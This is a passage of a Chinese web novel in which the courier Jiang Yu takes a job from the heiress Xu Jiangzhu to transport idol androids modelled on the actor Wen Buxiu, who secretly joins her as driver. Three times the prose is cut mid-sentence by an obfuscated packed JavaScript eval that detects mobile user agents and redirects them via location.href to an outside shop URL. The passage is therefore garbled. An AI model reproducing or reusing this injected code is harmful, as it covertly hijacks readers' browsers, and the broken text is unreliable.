姜渔侧过头，不理会对方了，心想他要是再叭叭个没完就戴上“园长之嘴”给他一点点真正的爹味震撼。 所幸丁程野也很有眼色，他瞄了一眼，见姜渔无意交谈，便哼着歌继续开车了。 半小时后，丁香紫跑车停在一幢大楼下。 姜渔抬头看去，大楼顶楼挂着“旷野星光影视公司”八个大字。 姜渔对这个公司有些印象，似乎在抵达曙光之城时，从围堵的记者口中听到过这个名字。 她没作多想，跟着丁程野进了大楼。 丁程野在前台处表明身份后，就十分熟悉地带姜渔走向了电梯间，点亮了18层楼层的按钮。电梯迅速攀升，“叮”一声响后，门开了。 姜渔继续跟在丁程野身边，刚走出电梯，目视前方时，眼底一丝错愕升起又迅速消失不见。 电梯外，是一间巨大的空旷客厅，显然整整一层都被主人用来居住。而首先映入姜渔眼帘的，是一个身穿简单灰色T恤，黑色宽松麻制长裤的男生。 他整个人有一种温润如玉的气质，正坐在沙发上，当看到两人后，他起身点头示意，露出了一个礼貌微笑。 正是如今风头无量的影帝，温不朽。 行走的500亿啊。姜渔想到了这厮在其代言游戏中的身价，心情悲切，脑子里想的都是我现在身价竟然跟眼前这位差不多了，真是三十年河东，三十年河西，少女越来越穷。 “丁叔叔，你来啦！” 一道悦耳的女声吸引了姜渔的注意。 姜渔视线一转，只见一个瘦小的身影向丁程野快步走过来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14447534|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她不高，穿着洁白的连衣裙，没佩戴任何装饰，除了眼角下的一颗红色的泪痣，身上其余露出的皮肤都如上好的白玉般完美无瑕，像个精致无比的娃娃。但她自然不是娃娃，她笑得极为自然，双眼笑成月牙，富有生命力，让人忍不住地想亲近可怜，整个人透着一种干净清纯的气质。 她就像天使降临人间，使人不忍玷污，只想静静地欣赏，感受着她身上所携带的，世界上最纯真的美好。 但是，在看到这个女孩的一瞬间，姜渔的心中却掀起了狂风巨浪！ 那是许江竹。姜渔在陆伯原幻境中打过交道的妹妹，许江竹。 “江竹，你有事相求，丁叔叔自然亲自前来啦。我什么时候亏待过你？” 丁程野伸出手，揉了揉许江竹的黑发，眼底满是宠溺。 “那是当然啦！嘿嘿，那是因为我知道天底下没有丁叔叔办不到的事情嘛。”许江竹讨好地仰视着丁程野，嘿然一笑，狡黠的笑容却更显少女的纯真，让人觉得她的心思真是容易被看透。 丁程野仰天大笑两声：“好好好，别捧我了，再捧我我可就要去跟你爸爸抢你做女儿了。” 看到许江竹一脸讨好、浑身散发天真气息的样子，姜渔只觉得两眼一黑。 这与陆伯原幻境沼泽中的许江竹，可完全不一样啊！ 太能装了吧你许江竹！你身上那些不可一世的劲头哪里去了！ 再看到丁程野的反应，姜渔彻底无语了。 老登，还笑呢，自己有多大本事啊就要跟别人抢女儿，夸你两句连北都找不到了。 作为经历过陆伯原幻境沼泽的人，姜渔自然明白，在陆伯原幻境中的许江竹，自然是最真实的许江竹，毕竟这对兄妹是从小长到大的。更何况，在那只天空巨眼中，姜渔也看到过许江竹的可怕之处，那是个为达目的不择手段的危险人物。 显而易见，此时的许江竹，是藏在重重伪装之下的。 忽然，许江竹扭过头，扑闪扑闪地眨着眼睛看向姜渔：“这位姐姐，我们之前见过吗？” 当然了，你小时候我还抱过你呢。 姜渔想起幻境沼泽中的经历，在心底暗自回答了一句，嘴上只是不咸不淡地说：“没，为什么这么问？” 许江竹灿然一笑：“我看你心事重重的样子，是在为任务担心吗？” 姜渔看着许江竹的笑容，心底里都是佩服。 我可没见过小许这么对我笑过，简直是笑得让人心都化了。 姜渔摇摇头：“我还不知道是什么任务。” “是这样的姐姐，我们有一批货，要带去城外的研究所。但因为公司最近人手不足，只能拜托丁叔叔身边的超级高手啦。” 许江竹的声音如铃铛作响，十足空灵，她一边说着，一边自然地牵起了姜渔的手，向温不朽走去。 姜渔触到对方软软的小手，又是一阵感慨。 眼前的许江竹，轻易地就与人肢体接触，让人自然而然地生出亲近之心。措辞之间，也只是称呼她为丁程野“身边的超级高手”，而不是丁程野的员工或者手下，令人万分受用。这种心机，比起幻境沼泽中的小崽子许江竹，绝对的有过之而无不及。 只是不知道，在现实中，许江竹又是什么样的实力？ 姜渔胡思乱想着，任由许江竹将自己带到了客厅中央，抬起头来，正迎上温不朽的目光。 他也在注视着姜渔，目光深邃。 放什么电啊！姜渔暗自腹诽：怪不得纪小麦说温不朽这双眼看狗都深情。 许江竹促狭地笑道：“姐姐，你这次的任务，和这位温先生有关哦。” 妹妹你也补药再装了啊！ 姜渔暗叹，许江竹越可爱，她就会觉得越怪。这种感觉就像看自己某个在游戏喊打喊杀顺便问候对方祖宗十八代的室友，上了电视后，忽然变得人模人样礼貌彬彬一样。 40. 偶像仿生人 “叫我姜渔就好了，许总。”姜渔含蓄一笑，“很抱歉，我对任务跟什么人有关没兴趣，我比较在乎任务的具体内容。” 许江竹的笑容僵了短短一瞬，随即恢复如初。 “是这样的，姜渔姐姐。”许江竹维持着甜甜微笑，抬起手挥了挥。 顿时，客厅中多出了一片清晰的立体投影。 投影中，十余名男人穿着剪裁合身的西服，呆板地并列一排。 这些男人年龄从20岁到30岁不等，无一例外地极其俊美。 许江竹站到这些男人中央，为姜渔与丁程野介绍道： “为了回应粉丝的热情，旷野邀请了十几位脑科学专家联合开发打造了这项新业务——偶像仿生人。这些仿生人，正是以眼前这位温不朽先生的性格为蓝本打造的。”许江竹在说公司业务的时候有种与她外表不符的沉静。 这样的她，姜渔感到无比熟悉。 “不过，这批仿生人还差最后一步技术升级。这一步，只能到城外的许氏研究所开展。我前面也说，最近人手不够，只能求助丁叔叔啦。”许江竹语毕后不忘对丁程野露出一个大大的甜美笑容。 丁程野星星眼地点头：“去许氏研究所的路线应该是比较安全的，怪不得你在电话里说不是特别难的事情。” 姜渔也明白了，无非是许江竹想开拓仿生人的生意版图，于是以影帝温不朽的性格为噱头，制作“温不朽同款”仿生人，打开市场。 看来不论什么时代，偶像都是绝对的吸金利器。这也是许江竹最先抢夺娱乐版图的原因。 姜渔把目光转向不远处坐拥联邦无数粉丝的影帝。 他长睫低垂，遮住了大部分眸光，有些难以捉摸。 但他并没有表示异议。 看样子，他们已经达成了某种协议，温不朽的所有价值都掌握在许氏的手里。 他既为偶像，就要做好准备，他的一切都能转化为经济价值，这其中包含了他需要躺在那里被人提取思想，并将其植入进那些硅胶的假人中。 可姜渔对此并不觉得有什么。 这世界上，谁又能逃脱被明码标价的宿命呢？ 自己当年和纪小麦吭吭哧哧地打工努力生活。 甚至纪小麦还会在游戏里吭哧吭哧攒钱为温不朽付解约费。 再甚至，她们两个人现在还在苦哈哈地还房贷！ 要是她能靠授权自己的人设和思想就能换来大笔金钱，她还至于被当成老赖吗？ 姜渔没来由地升起了一股命运不公的怅然感。 丁程野还在与许江竹寒暄。 姜渔目视前方，身子则微微向温不朽那边倾斜，低声问：“不好意思，请问，只是把性格授权出去的话，能挣多少钱啊？” 温不朽似乎没料到姜渔会突然跟他搭话，还是问这么私密的话题。 他扯动嘴角，露出与游戏中如出一辙的温和的有欺骗性的笑容，“姜小姐，打探别人的隐私可不礼貌哦。” 姜渔面对温不朽的魅力攻击不为所动，正得发邪：“作为这单快递的派送员，我有义务了解货物的真实价值。” 温不朽一时哑然，他被姜渔大公无私的凛然感说服了，表情转而变得无奈：“大概6000万联邦币。” 姜渔有些愕然地转头看向温不朽。 6000万联邦币。 那不正是文身大哥为了给孩子们建小学，从曙光银行抢来的赃款金额么？ 温不朽以为姜渔不信，连忙微微抬起双手，一副投降认栽的模样，“好啦，后续每台仿生人产生的收益都会与我分成。” 还有分成？ 文身大哥的后续分成，只有一张通缉令。 姜渔虽然对这些风光人物的收入有所了解，但是亲耳听见，还是被小市民与大明星之间的收入差距震撼到了。 “我果然没看错你，你挣钱真的是易如反掌。”姜渔所说的没看错只是她在游戏里对游戏角色的刻板印象。 她不禁慨叹：“可我认识一个人，为了给孩子建小学，拼上命才抢到了6000万联邦币。” “6000万，那不是抢了很多吗？”温不朽嘴角抽动，“他是要建贵族小学吗？” 姜渔面无表情：“我只是慨叹有人挣钱容易，有人挣钱却比登天还要难。” 温不朽贴心地提醒：“他那是抢钱。” 这次轮到姜渔嘴角抽动，但她选择嘴硬：“都不容易。” “看来你对联邦制度下的财产分配感到很不公平，女士。”温不朽委婉地隐去了“仇富”的刻板标签，说道：“但我与你一样，对此都无能为力。” “无能为力但是被迫赚6000万么？”姜渔轻笑一声，“我倒是很愿意与你交换，让你去替我还那些该死的房贷。” “房贷么？我对房贷很有研究啊。我也在还很多间房子的房贷。”温不朽恍然点头。 你在恍然大悟个什么劲？听不出我在阴阳你吗！ 虽然是自己先挑事的，但自己多少还是有一些阶级道德优势吧。 还很多间房子……他赤果果的炫富行为让姜渔十分火大。 她转过头，正视温不朽一张帅到天妒人怨的脸，咬牙切齿地问：“那么多？所以，你是每演一个角色就为一个角色买套房子吗？我记得你是不是为动漫中的狗狗角色配过音，那你有没有给自己买一个狗窝？” “你误会了，女士。”温不朽声音依然温和，“我所有的资产都用来资助盲人了，联邦三成的盲人都在我的资助下，进行了复明手术，或者用上了义眼。我所说的房贷，是联邦两百多家为盲人建造的永明院公益园区。至于我自己名下？倒是没有任何一处房产。” …… 糟糕。 是好高的道德高地！ 大概有几层楼那么高！ 姜渔瞬间沉默了。 恼火被浇灭，羞耻逐渐蔓延。 永明院的名字，连她都有所耳闻，其对盲人开展的公益帮助，曾多次被联邦报道，不过都是挂着“许氏”的名头。 “我果然没看错你，你能挣大钱真的是老天开眼。”姜渔瞬间变脸，眼神真挚，语气诚恳，“你是一个善良的人，正直的人，大写的人。” “也没有了。挣钱都不容易，我只是将闲钱用在了更有意义的事情上。”温不朽看着态度骤然转变的姜渔，眼底浮出一丝笑意。 他不再纠结这个话题，指了指投影，“当然，你做的事情也很有意义，毕竟是在运送这些……我的兄弟们。” “只是运送一些破铜烂铁而已啦。”姜渔语气谦虚很多。 温不朽：…… 另一边，许江竹看着“与温不朽相谈甚欢”的姜渔，嘴角闪过一丝得意的笑容。 这丝笑容只维持了一瞬间，便化成了甜甜的微笑。 许江竹礼貌地向丁程野说道：“丁叔叔，那我们可以来谈一谈这次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14456726|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的费用咯？” 丁程野大手一挥：“哈哈哈，当然！江竹你刚刚掌握了许氏集团的娱乐版图，丁叔叔还没来及为你庆祝呢！价格你尽管开口，意思意思就行。” 什么？ 老登尔敢！ 姜渔耳尖，听见了丁程野的话，顿时气不打一处来，心想这不是拿她的命做人情吗？ 她目光不善地瞪向丁程野。 许江竹则笑盈盈地说：“好，那江竹也不跟丁叔叔客气啦，100万，这是我定下的预算。” ……100万？ 这么多？！ 姜渔与丁程野都愣住了。 丁程野眉头皱紧，语气中带着对孩子般的关心和引导：“江竹，虽说你刚刚掌握了一整个娱乐生意的商业版图，但你也要注意开销呀。100万是不是有点太多了？不如……哎？哎？哎？” 100万算多？那温不朽的6000万算什么？！ 丁程野话还没说完，就发现有人捏住了他的衣服后领，将他连连后拽。 姜渔在身后，目光似是要吃人。 老登尔敢啊老登尔敢啊！ 刚听到许江竹的报价时，姜渔本来还有些震惊。 结果丁程野眉头一皱大嘴一张，她就隐隐越觉得这厮没准备放什么好屁。 果然，一来一回之间，丁程野竟然要自己降价？ 她再也忍不住，这才冲上去拉远丁程野。 “别急，小姜，我心里有数。” 丁程野看到姜渔后，连连安慰，见姜渔眉间竟然没有一丝动容，他才想到这厮也不是好惹的，只好悻悻转过身来。 还好许江竹即时开口，“100万真的不多，丁叔叔，去研究所的路线虽然比较安全，但毕竟不是官方路线，还是有几率出现衍生体的。”许江竹笑意不减，她歪了歪头，看向丁程野身后的姜渔，挥了挥手。 她说：“而且我很喜欢姜渔姐姐，我对喜欢的人一向是愿意大方的嘛。” 姜渔瞬间失了神。 在幻境沼泽中，小许说过几乎一模一样的话——“我对伙伴总是很好的。” 藏在陆伯原内心深处的那个小小许江竹，长大了，戴上了面具，但她却还是没怎么变，举手投足、细枝未节中，仍是陆伯原最了解的那副样子。 “那好吧。” 丁程野很是欣慰地看了眼许江竹，说：“那好吧，我就恭敬不如从命了，明天让小姜来这里跟你们汇合。” 这个黑心老狐狸，他还不是要从这笔订单里抽走五成，在那扭扭捏捏些什么？！ “好！谢谢丁叔叔！有你在我身边，总有一天，我会成为许氏集团的唯一继承人！因为您对我太好啦！” 许江竹说到自己的野心时，脸颊微微鼓起，挥了挥小小的拳头，万分可爱。 丁程野装模作样地叹了口气，“小丫头，先好好学下谈生意吧。真是让人担心。” 说完后，丁程野挥挥手，示意姜渔和自己离开。 姜渔与温不朽擦身而过时，对方突然用只有两人能听到的声音说了句，“拜托了，姜小姐。” 姜渔心下一动，抬眼看向温不朽，他又恢复了那副顶流偶像的疏离模样。 下一秒，姜渔已经被丁程野拽着离开了。 当两人坐上电梯后，许江竹的笑容渐渐消失，再无一丝可爱，只剩冰冷的目光望着两人离去的方向。 温不朽站在一旁，久久不曾出声。 41. 准备工作 旷野星光楼外。 姜渔跟上丁程野的步伐，重新坐进了丁香紫跑车。 跑车向精卫驶去。 “小姜，这是你第一次跑快递单，有什么问题，都可以去问法斯特。” 丁程野开着车，瞄了一眼姜渔说道，“精卫不是好待的地方，但这也是我当初招揽你的原因。你的潜力很大，一定可以适应在精卫的规则。” “嗯。”姜渔看着窗外的景色，搭话的热情不大。 在她眼中，丁程野头上已经顶上了“不靠谱”三个大字。 她只想回去去问法斯特。 一路无话，车内动感歌声不断。 抵达后，姜渔下了车，丁程野则再度开车离去了。 用他的话说，要出门跑单子。 姜渔直奔精卫接待大厅，开门后，法斯特正在和林晴聊天，见姜渔进来，法斯特连忙调整了一下站姿，说： “欢迎回来，姜渔，请随我去领一下装备吧。关于快递运输过程中的事情，我会在路上为您讲解。” “好。”姜渔利落点点头，继续跟上法斯特的脚步。 “咱们精卫快递公司，主要负责的是一些包含违禁品在内的货品运输。” 法斯特在前面引路，堂而皇之地发表着在违法边缘游移不定的发言。 “虽然也做同城服务，但是跨城服务较多。毕竟在如今，长途物资运输俨然是极为困难的事情，为了满足物资运输的需求，往往要动用军方资源。但不同城市的公民之间，也会通过互联网进行交易或者寄送，这就需要用到民间的快递公司了。咱们精卫，就是联邦所有快递公司最出名的一家。” “为什么？”姜渔对精卫在公民中的印象有所了解，大家都知道这家公司的快递员不是很好惹，“是恶名昭著的那种出名吗？” “哈哈哈，可能有一点，但不全是。”法斯特干笑了两声，说：“是因为我们接受运送的货品种类最多，送达的成功率最多，费用也是所有快递公司中最高的。” 法斯特收敛笑容，语气认真许多：“丁总说，公司名字取自上古神话精卫填海的含义，那是一个女孩去世后仍与天地自然战斗的故事，她拥有百折不挠的坚强与毅力。” “我们精卫以此来表达将货物送达的决心。” “很有意义。”姜渔点头表示认可。 “虽然这是你的第一笔快递单子，但你只需要牢牢记住一件事。那就是活着，把货物送达。”法斯特继续说道，“除了委托人特意介绍叮嘱之外，货物是什么，不必问。货物变成什么，不必管。” “如果只是活着，却没有送达货物呢？” “货物丢失或损坏，公司会按委托人的定价进行赔付。员工则一个月不能接单，且要赔付给公司同等金额的损失。但精卫的员工都不怎么存钱，一般是在后续单子中扣除工资。”法斯特顿了顿，说，“恶意消极怠工者，公司会自行对员工进行惩罚。” “什么惩罚？” “曾有员工带着一笔价值六百万的货物潜逃了。后来，公司赔付了同等价值的货物，与那名员工的尸体。”法斯特耸耸肩，“他很倒霉，遇到了流民。” “真的是流民所为吗？” “丁总是这样介绍的。” 姜渔点点头：“理解。” 谈话间，两人已经来到一条走廊的尽头。 法斯特推开一扇雕刻天神交戈之图的厚重木门，微笑说： “您可以挑选趁手的装备了。” 姜渔走进去，置身于一个干燥清冷的房间中。 冷白色灯光铺满房间。 房间内，一面墙挂满枪支，一面墙挂满冷兵器，一面墙则挂着防弹防毒等服装。 房间中间，是一个个玻璃陈列柜。 姜渔张望着墙上的各种装备，低头看去，陈列柜中摆满了各种各样的道具，从外表上难以确认它们的真正用途。 直至房间尽头，姜渔看到最后一个陈列柜中是一列列药品，同样不知道有什么用处。 姜渔忍不住叹服：“好多。” “这里只是初级快递员的装备库。”法斯特浅笑道，“等你单子完成的越多，你还可以用上更好的装备。” 姜渔点点头：“我对武器不太了解，这里有类似巡城部长刀的武器吗？” 她用惯了那把长刀，自然想挑选自己熟悉的武器。 “当然，我们之前也有巡城部退下来的同事，特意按照他的需求打造过。” 法斯特点点头，在墙上的兵器中，熟练地挑选出一把黑色长刀，双手递给姜渔，“与巡城部的制式长刀模样一样，重量一样，但强度比官方的要强上三倍。” 姜渔掂了掂长刀，十分满意。 接下来，姜渔又在法斯特的介绍下，拿走了一身机能服装，一把手枪，与一些应急药物。 机能服装黑白色拼接，背后印有“精卫快递”的字样，具备抵御恶劣天气的基本作用。 手枪则是市面上的仿市警最新款，比巡城部的□□威力较弱，但一次性可以装填60发子弹，连射性能卓越。 应急药物方面，姜渔并没有挑选一些具备特殊作用的药物，只是一些治疗常见病与外伤的药物。 “曙光城距离许氏研究所只有两个半小时的车程。用这些倒是足够了。” 法斯特对姜渔的装备挑选没有什么异议，只是在最后评价一句：“但第一次就这样轻装上阵的员工可不多见。” 姜渔笑了笑，说：“没事，我在云市的时候习惯了。” 与法斯特告辞后，姜渔向自己的房间走去。 路上，经过娱乐区时，正看到苗宁象与宋小溪的睡衣组合正在娱乐区的门外，靠着窗户看外面光秃秃的景色。 “姜渔姐。”苗宁象看到姜渔，主动挥手打了招呼，语气友善：“听说你接了第一单快递，是刚领完装备回来吗？单子难不难？” 姜渔一边点着头，一边走近了，说：“应该不难。许氏集团的单子，是去城外的研究所。” 结果，一听到许氏集团，苗宁象和宋小溪的脸色都变了变。 姜渔察觉到不对：“怎么了？” 宋小溪有些难以启齿，但沉默几秒，还是说道：“许氏集团的单子，完成的次数不多，活着回来的同事更不多。” 姜渔品出他话中的意思：“还有同事将货物送达却没能回来的情况？” “毕竟归途也十分危险。”宋小溪点点头，“但是，死在归途上的情况，在许氏集团的单子中格外常见。因为他们有钱，所以还没到将他们拉入黑名单的地步。” 姜渔一听这个情况，再联想到许江竹开出的价码，也皱起了眉头。 怪不得当时丁程野听到价钱的时候，反应也有些激烈。现在看来，他同样察觉到了不对。也许，丁程野口中的降价说辞，只是在确认许江竹的委托难度，是不是和价钱一样成正比。 只不过，他还是决定让自己去送这笔单子。可见丁程野的良心也不是很多。 姜渔坦然一笑： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14464055|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没关系，挣的不就是这份钱么？” 看着姜渔的态度，苗宁象忽然开口说：“不然，我陪你去跑这笔单子吧。” 姜渔有些惊讶。 宋小溪更是脸色一变，拉了拉苗宁象的胳膊。 姜渔看了苗宁象两眼，不确定地问：“为什么？” “这是你的第一单，路上有些事情，你可能还不熟悉。到了城外，信号不好，也很难和我们联系上。”苗宁象娓娓道来，“有我在，这些事情就不用你担心了。而且，我不会分你的钱。” 姜渔琢磨了一下，重新问道：“明白了。不过我的意思是，你为什么要帮我？” 苗宁象嘿然一笑，“主体值为2，却能保持精神稳定，甚至成为镜花岛的联邦第三名。我觉得姜渔姐一定有些本事，我对那些不好奇，但我想……抱大腿。” 宋小溪听了，一脸愕然，随后有些无奈地说：“你……你的眼光确实向来很好。” 姜渔听了苗宁象打的算盘，只觉哭笑不得。 她想起那堆摆在自己门前的纸箱，才明白过来，原来苗宁象早就在实施她心里的小计划了。 姜渔想了想，点头说：“我没意见，不过你要知道，或许我没有你想的那样厉害。C级战力，你明白的。所以，你随时可以反悔。” 苗宁象摇了摇头，目光坚定：“走的时候叫上我。” “嗯。我先回房间。” 姜渔点点头，跟两人道了别，一路再没遇上其他人。 回到房间后，姜渔直接坐在沙发上，点开了猎人论坛。 一如往常，她连续发布的关于“什么是桥”的几个帖子，除了几句贴心科普之外，并没有人回复。 反倒是一条《发生什么了？只相信温不朽！》的帖子吸引了姜渔的注意。 帖子内容倒是简单，是一个片场流出的视频。 视频中，温不朽在拍戏的过程中，忽然忘词了，整个人呆滞了几秒后晕倒了过去。之后便是工作人员围了上去，看不见温不朽的状况了。 联想到今天看到的温不朽，姜渔倒是没多担心。 退出帖子后，因为进入了“影音天地”的板块，手机上第一时间露出的都是温不朽的帖子。 姜渔简单浏览了一下，不是在鼓吹温不朽的神仙演技，就是在罗列温不朽高奢代言大满贯、杂志销售额突破1000万、成为许氏盲人基金会大使的消息。 粗略看了一眼，另一则帖子再一次成功吸引了姜渔。 《旷野星光被许江竹拿下了，许乾是真被集团放弃了吗？》 点进去，姜渔发现这位楼主似乎不是很待见许江竹。 他态度明确，认为当初许江竹指认许乾擅自挪用集团安防部力量、以致集团人员伤亡惨重的事件，实则另有隐情。 楼主煞有其事地分析，一切都是许江竹的阴谋，是她一手策划了集团安防的漏洞，并故意让许乾发现。 以至于许乾在为了预防安防漏洞的前提下，根本没有时间走申请流程，就动用了安防部核心力量，并在之后的行动中彻底步入了许江竹的圈套。 如此以来，才导致许乾被雪藏几年。直至许江竹上位。 回复楼主的都是骂楼主阴谋论的。 想想也是，许江竹那样的形象，特别容易招人喜欢…… 姜渔无所谓地摇摇头，暗暗记住许乾这个名字。 正要退出论坛时，手机却弹出了一条消息。 【“我真不是学土木的”关注了你。】 42. 温不朽 “我真不是学土木的……” 姜渔愣了一下。 她点击进去对方的主页，发现账号主页隐藏了动态。 不过在ID后，明晃晃地挂着一个徽章，图案是一把简陋的弓箭。 姜渔点击图案，出现了“墙外之人”的字样。 这竟然是一个“墙外之人”的用户！ 但是看他的ID，显然从事的领域与土木相关。 或许是因为自己发的跟“桥”有关的帖子，吸引了对方吧…… 姜渔不再浏览。 她在屋内试穿一下机能服装，试验一番刀枪之后，开始出门去食堂吃午饭。随即又是与前几天一样的行程，健身，晚饭，浏览论坛，进入1301室与纪小麦聊天，回到现实洗漱睡觉。 姜渔在云市生活的一年，已经练就了一颗大心脏。她乐于维持一个良好的生活作息。以至于猎杀衍生体在她的生活中，也逐渐变成了“日常”一般的任务。 跑一趟快递，远不足以让她担惊受怕。 …… 次日。 姜渔整装待发来到精卫接待大厅，一眼看到在此等待的苗宁象。 “到多久了？” “不久，我给你发了信息，你可能没看到。” 苗宁象笑着回应道。 她身高与姜渔稍矮。不胖不瘦，却也没有什么肌肉。双眼虽然总是挂着黑眼圈，但目光炯炯有神，有一种病态的精神焕发的气质。 姜渔注意到她身后背着一个黑匣子。 姜渔好奇问：“那是什么？” “哦，是我的笔记本电脑。”苗宁象向后伸手摸了摸那个黑匣子。 “啊？” 姜渔以为自己听错了。 她再次看向苗宁象身后，所谓的笔记本电脑约27寸大小，厚度更是足足有一本书的厚度。 姜渔不确定地问：“……是不是有点大？” 苗宁象憨憨一笑：“防弹的。” 好吧，她这么做一定有她的道理。 姜渔不再多问，招呼着苗宁象推门出去，广场尽头，精卫门口停着一辆加长黑色豪车，法斯特西装革履，恭敬地站在荒凉街道上。 两人走近了，法斯特带着白色手套的手做出“请”的手势。 “两位女士应该都没有买车，就让在下送两位女士一程吧。” “麻烦了。” 姜渔还在客气，苗宁象已经熟练地钻了进去。 姜渔尾随进去，扫视一圈，只见加长豪车中设有两列皮质座椅，座椅旁摆着许多瓜果酒水，苗宁象随手拆了一包黄瓜味薯片嚼了起来。 看着苗宁象轻松自如的模样，姜渔忍不住问：“苗宁象，你是什么级别的战力？” “姜渔姐，叫我小象就好了。”苗宁象咔哧咔哧地吃着薯片，露出朴实无华的笑容：“我是B级战力。” 姜渔眼前一黑。 早知道应该先问的。 …… 法斯特将车开得很稳，路上几乎没有任何颠簸的感觉，速度却不比之前丁程野慢，差不多的时长，法斯特就停下了车。 “到了，两位女士。” 姜渔率先下车。 早日刚刚造访过的楼前，停着两辆厢式货车。 四名身形高大的保镖，围在许江竹身边，脸色冷酷坚毅，犹如四道高墙。 法斯特下车后，站在车边。他面带微笑，波澜不惊地与四名保镖对立。 反倒是苗宁象一下车，就被江竹遗世独立的气质俘获了。她满脑子都在慨叹：明明是生意场上的继承人，举手投足间怎么能这样没有一丝烟火气？不是该雷厉风行杀伐果断才对吗？ 此时，许江竹眼中闪过了一丝惊讶：“姜渔姐姐，怎么是两个人来的？” 姜渔点点头：“她是来帮我的。” 许江竹绽开真诚的笑容：“原来如此，姜渔姐姐做事真是周全，让人放心极了！” 丁程野不在，她口中的主人公自然而然地变成了姜渔。 许江竹眼神越过姜渔，又问：“那这位姐姐是？” 苗宁象还在欣赏许江竹身上特有的干净气质，听到对方在打听自己，忙受宠若惊地说：“苗宁象。” 许江竹重重点头，语气诚恳，甚至还带着一丝歉意：“实在是麻烦你了，宁象姐姐。我会记住你们对我的帮助的！” 苗宁象忙摆手：“没有啦这都是……” 姜渔忽然拉了她一把：“不必寒暄了。没有问题的话，我们就启程吧。” 许江竹“嗯”了一声，说：“既然如此，姜渔姐姐请坐第一辆车，宁象姐姐坐第二辆车吧。这货车只能坐两个人，我已经安排好了司机。” “好。” 姜渔与苗宁象交换了一下眼神，各自向许江竹指定的货车走去。 姜渔来到车边，利落地开门，踩着脚踏上车。 就在这个瞬间，姜渔忽然感到心口传来刺痛！ 她闷哼一声，差点踩空。 刺痛感转瞬不见。 姜渔有些困惑地落座后，转头看向司机。 愣住了。 昨日刚刚交谈几句的温不朽，穿着深蓝色的工作服装，赫然坐在司机的位置上。 “你……” 姜渔刚刚开口，温不朽俯身向前，一只手迅速贴了上来，轻轻捂住了姜渔的嘴。 姜渔微微皱眉。她眉眼如刀，半分困惑半分威胁地看向温不朽。 “别声张。他们不知道我也在。”温不朽低声说道，眼中露出乞求的神色，“可以保密吗？” 姜渔缓缓点头。 温不朽这才松开手，退回司机座位。 “你好，姜渔。”温不朽对姜渔对视良久，忽然松了口气，他弯唇一笑，深意十足，手指富有节奏地敲着方向盘：“所以，我也算是破铜烂铁吗？” 姜渔双唇一抿，目光不善，语气冰冷：“当然不是，你是一个善良的人，正直的人，大写的……” “知道了。”温不朽听了笑意盎然，他摆摆手，说道：“我们走吧。” 厢式货车缓缓移动，后面苗宁象坐的那辆也尾随跟上。 两辆车在街道上穿梭，很快就来到了曙光之城的西城门，顺利通过城门后，视野顿时开阔起来。 曙光之城坐落在平原之上，姜渔上一次与丁素等人同行，是从东而来，仍有大片的森林。但城市西边，已经没有森林，只有零星几片的树林，隔着空旷的平原相望。 距离城市较近的区域，被规划为整齐的田地。 顺着马路，再开出一些距离，姜渔的心口处仍时不时地传来刺痛。她不得不专心抵御这种未知的疼痛，等再抬起头来，视线中的柏油马路已经变得坑坑洼洼，两侧杂草丛生，绿意蔓延至视线尽头，看不见任何生灵。 这象征着众人已经踏上了曙光之城的规划范围，进入了实实在在的“墙外之地”。 姜渔看了眼悠哉开车的温不朽，企图靠对话来缓解疼痛，于是主动开口问：“你为什么要出来？” 温不朽沉默几秒，眼神向身后的车厢瞄了一下，缓缓说：“我不喜欢这些破铜烂铁。” “什么意思？” “我不知道他们被创造出来有什么用。尤其是继承了我的性格。” 温不朽自嘲地笑了一下，“就像我一样，我连自己究竟想要什么都不知道。” “钱？”姜渔脱口而出，又解释起自己为什么会冒出这个答案，“你不是在资助盲人么？” “帮小朋友重见光明，确实很开心。学习盲文的时候，同样很开心。但不知道为什么，当我回忆起那些时刻，总是觉得有些难过。” 温不朽语气淡然，“你说，像我这样的性格，被制作成仿生人，岂不是只会给人添堵么？” 姜渔无意探究温不朽的内心活动，她切回话题：“那你偷偷跟着出来，是想毁掉这些仿生人？” “我只是想看看，他们经过最后一步升级后，是不是真的和我一模一样。” 温不朽看了眼姜渔，“你不好奇么？如果世上有许多个你，却全部被制作成商品贩卖出去？” “如果真是如此，那一定是个注定被淘汰的商品。”姜渔笑了，“我脾气不是很好，恐怕对顾客不够友善。” “这样啊……那我很羡慕你，你好像总是很清楚自己要做什么的样子。” 温不朽把着方向盘，目光迷离，“我却是一个活在痛苦与后悔中的人。” 姜渔抱了抱自己，一阵尴尬，狐疑问道：“不好意思，是在练台词吗？你台词功底这么生硬的？” 